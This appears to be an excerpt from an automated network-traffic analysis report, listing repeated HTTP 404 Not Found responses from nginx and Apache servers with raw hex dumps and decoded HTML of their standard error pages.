Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Thu, 23 May 2024 13:17:13 GMTContent-Type: text/htmlContent-Length: 3650Connection: closeETag: "636d2d22-e42"Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 31 2f 44 54 44 2f 78 68 74 6d 6c 31 31 2e 64 74 64 22 3e 0a 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 54 68 65 20 70 61 67 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 2f 2a 3c 21 5b 43 44 41 54 41 5b 2a 2f 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 30 30 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 39 65 6d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 73 61 6e 73 2d 73 65 72 69 66 2c 68 65 6c 76 65 74 69 63 61 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3a 6c 69 6e 6b 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 63 30 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3a 76 69 73 69 74 65 64 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 63 30 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 61 3a 68 6f 76 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 66 35 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 68 31 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 2e 36 65 6d 20 32 65 6d 20 30 2e 34 65 6d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Thu, 23 May 2024 13:17:16 GMTContent-Type: text/htmlContent-Length: 3650Connection: closeETag: "636d2d22-e42"Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 31 2f 44 54 44 2f 78 68 74 6d 6c 31 31 2e 64 74 64 22 3e 0a 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 54 68 65 20 70 61 67 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 2f 2a 3c 21 5b 43 44 41 54 41 5b 2a 2f 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 30 30 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 39 65 6d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 73 61 6e 73 2d 73 65 72 69 66 2c 68 65 6c 76 65 74 69 63 61 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3a 6c 69 6e 6b 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 63 30 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3a 76 69 73 69 74 65 64 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 63 30 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 61 3a 68 6f 76 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 66 35 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 68 31 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 2e 36 65 6d 20 32 65 6d 20 30 2e 34 65 6d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Thu, 23 May 2024 13:17:19 GMTContent-Type: text/htmlContent-Length: 3650Connection: closeETag: "636d2d22-e42"Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 31 2f 44 54 44 2f 78 68 74 6d 6c 31 31 2e 64 74 64 22 3e 0a 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 54 68 65 20 70 61 67 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 2f 2a 3c 21 5b 43 44 41 54 41 5b 2a 2f 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 30 30 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 39 65 6d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 73 61 6e 73 2d 73 65 72 69 66 2c 68 65 6c 76 65 74 69 63 61 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3a 6c 69 6e 6b 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 63 30 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3a 76 69 73 69 74 65 64 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 63 30 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 61 3a 68 6f 76 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 66 35 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 68 31 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 2e 36 65 6d 20 32 65 6d 20 30 2e 34 65 6d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 23 May 2024 13:17:24 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 23 May 2024 13:17:27 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 23 May 2024 13:17:29 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 23 May 2024 13:17:32 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not Foundcontent-type: text/htmldate: Thu, 23 May 2024 13:17:52 GMTtransfer-encoding: chunkedconnection: closeData Raw: 33 46 42 41 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 6c 61 6e 67 3d 22 22 3e 0a 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 78 2d 75 61 2d 63 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 69 65 3d 65 64 67 65 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 57 65 62 73 69 74 65 20 6e 6f 74 20 66 6f 75 6e 64 e2 80 a6 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 70 6e 67 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 70 6e 67 3b 62 61 73 65 36 34 2c 69 56 42 4f 52 77 30 4b 47 67 6f 41 41 41 41 4e 53 55 68 45 55 67 41 41 41 45 41 41 41 41 42 41 43 41 59 41 41 41 43 71 61 58 48 65 41 41 41 41 41 58 4e 53 52 30 49 41 72 73 34 63 36 51 41 41 43 48 68 4a 52 45 46 55 65 41 48 64 57 32 6c 73 48 45 55 57 72 71 71 5a 73 54 33 6a 32 46 6d 62 48 42 78 42 58 73 79 47 73 41 73 43 43 52 49 52 67 6a 69 63 41 32 4a 48 52 41 74 45 51 74 48 43 6a 32 69 31 69 68 41 53 67 6e 43 45 4f 46 6e 45 6a 39 6a 68 4e 41 67 70 49 43 37 78 41 36 52 6f 45 59 65 49 69 42 30 57 45 67 64 4c 69 59 53 53 72 41 54 69 32 4a 42 73 49 42 41 4d 50 6d 49 6e 64 6a 7a 6a 65 44 78 56 2b 37 33 78 74 4e 55 7a 37 75 6e 70 71 75 6b 5a 6a 2b 67 66 72 75 70 36 72 39 37 33 76 61 2b 72 71 32 71 36 32 35 77 56 2b 4c 6a 77 30 4b 75 52 6f 64 35 54 69 35 52 53 53 78 52 6e 69 78 52 6a 63 7a 68 6a 4e 59 43 74 55 55 78 52 79 54 6a 6a 67 79 67 47 59 52 75 45 72 5a 63 72 64 70 42 7a 66 71 42 36 7a 6e 6b 48 75 78 65 75 6a 35 4a 50 6f 51 37 67 2b 58 39 63 65 2b 6a 56 30 48 2f 37 42 74 5a 49 4a 65 39 6e 54 46 33 48 46 41 73 61 6f 58 41 32 44 6e 6d 2b 45 46 78 73 76 33 78 32 37 58 75 48 46 36 36 50 47 38 56 78 36 65 53 72 41 48 2f 73 66 4b 75 69 4c 39 72 39 45 4b 37 6b 2f 62 69 36 46 37 6e 67 61 70 73 77 53 6e 34 42 32 65 30 58 38 4b 71 32 59 30 30 50 6e 4e 4d 4f 6b 4b 57 44 62 77 4a 55 64 54 79 39 49 43 48 6a 2f 30 4c 79 56 32 66 42 38 71 55 5a 68 4c 38 4d 69 4e 44 64 77 34 30 62 6a 2f 67 52 55 50 67 52 70 4c 4a 39 32 39 2f 47 31 66 6a 68 51 69 64 50 58 41 6d 44 73 41 6a 54 44 2b 35 35 6a 34 42 49 52 2b 74 71 4a 65 57 48 49 4f 4f 4c 6d 42 70 4a 53 53 37 45 48 64 48 47 35 70 30 61 66 61 61 34 35 69 56 41 5a 55 66 4c 56 56 4b 70 2f 62 67 73 4d 36 5a 45 4c 6b 59 44 5a 32 63 46 35 7a 65 4d 4e 4
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not Foundcontent-type: text/htmldate: Thu, 23 May 2024 13:17:55 GMTtransfer-encoding: chunkedconnection: closeData Raw: 46 46 41 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 6c 61 6e 67 3d 22 22 3e 0a 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 78 2d 75 61 2d 63 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 69 65 3d 65 64 67 65 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 57 65 62 73 69 74 65 20 6e 6f 74 20 66 6f 75 6e 64 e2 80 a6 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 70 6e 67 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 70 6e 67 3b 62 61 73 65 36 34 2c 69 56 42 4f 52 77 30 4b 47 67 6f 41 41 41 41 4e 53 55 68 45 55 67 41 41 41 45 41 41 41 41 42 41 43 41 59 41 41 41 43 71 61 58 48 65 41 41 41 41 41 58 4e 53 52 30 49 41 72 73 34 63 36 51 41 41 43 48 68 4a 52 45 46 55 65 41 48 64 57 32 6c 73 48 45 55 57 72 71 71 5a 73 54 33 6a 32 46 6d 62 48 42 78 42 58 73 79 47 73 41 73 43 43 52 49 52 67 6a 69 63 41 32 4a 48 52 41 74 45 51 74 48 43 6a 32 69 31 69 68 41 53 67 6e 43 45 4f 46 6e 45 6a 39 6a 68 4e 41 67 70 49 43 37 78 41 36 52 6f 45 59 65 49 69 42 30 57 45 67 64 4c 69 59 53 53 72 41 54 69 32 4a 42 73 49 42 41 4d 50 6d 49 